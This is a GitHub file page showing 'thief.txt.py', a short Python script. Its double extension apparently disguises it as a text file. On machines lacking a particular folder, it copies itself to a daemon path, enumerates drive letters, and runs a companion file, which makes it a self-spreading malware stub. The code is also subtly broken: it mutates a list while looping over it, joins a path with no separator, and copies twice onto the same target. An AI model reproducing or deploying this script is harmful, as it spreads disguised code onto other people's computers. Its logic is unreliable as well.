-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy paththief.txt.py
35 lines (28 loc) · 980 Bytes
/
thief.txt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import shutil
import subprocess
DAEMON_NAME="daemon.py"
THIEF_NAME="thief.txt.py"
DAEMON_PATH="D:\\vscode\\SYSTEM\\daemon.py"
THIEF_PATH="D:\\vscode\\SYSTEM\\thief.txt.py"
ROOT_PATH="D:\\vscode\\SYSTEM\\"
class computer:
drive=["A:\\","B:\\","C:\\","D:\\","E:\\","F:\\","G:\\","H:\\","I:\\","J:\\","K:\\","L:\\","M:\\","N:\\","O:\\","P:\\","Q:\\","R:\\","S:\\","T:\\","U:\\","V:\\","W:\\","X:\\","Y:\\","Z:\\"]
enermy=False
def __init__(self):
for d in self.drive:
if not(os.path.exists(d)): self.drive.remove(d)
if not(os.path.exists(ROOT_PATH)): self.enermy=True
def attack():
shutil.copyfile(os.getcwd()+DAEMON_NAME, DAEMON_PATH)
shutil.copyfile(os.path.abspath(__file__), DAEMON_PATH)
def getfile():
s=os.path.abspath(__file__)
s2=s.split(".")
return s2[0]+"."+s2[1]
target=computer()
if target.enermy==True:
attack()
path=getfile()
print(path)
os.system(path)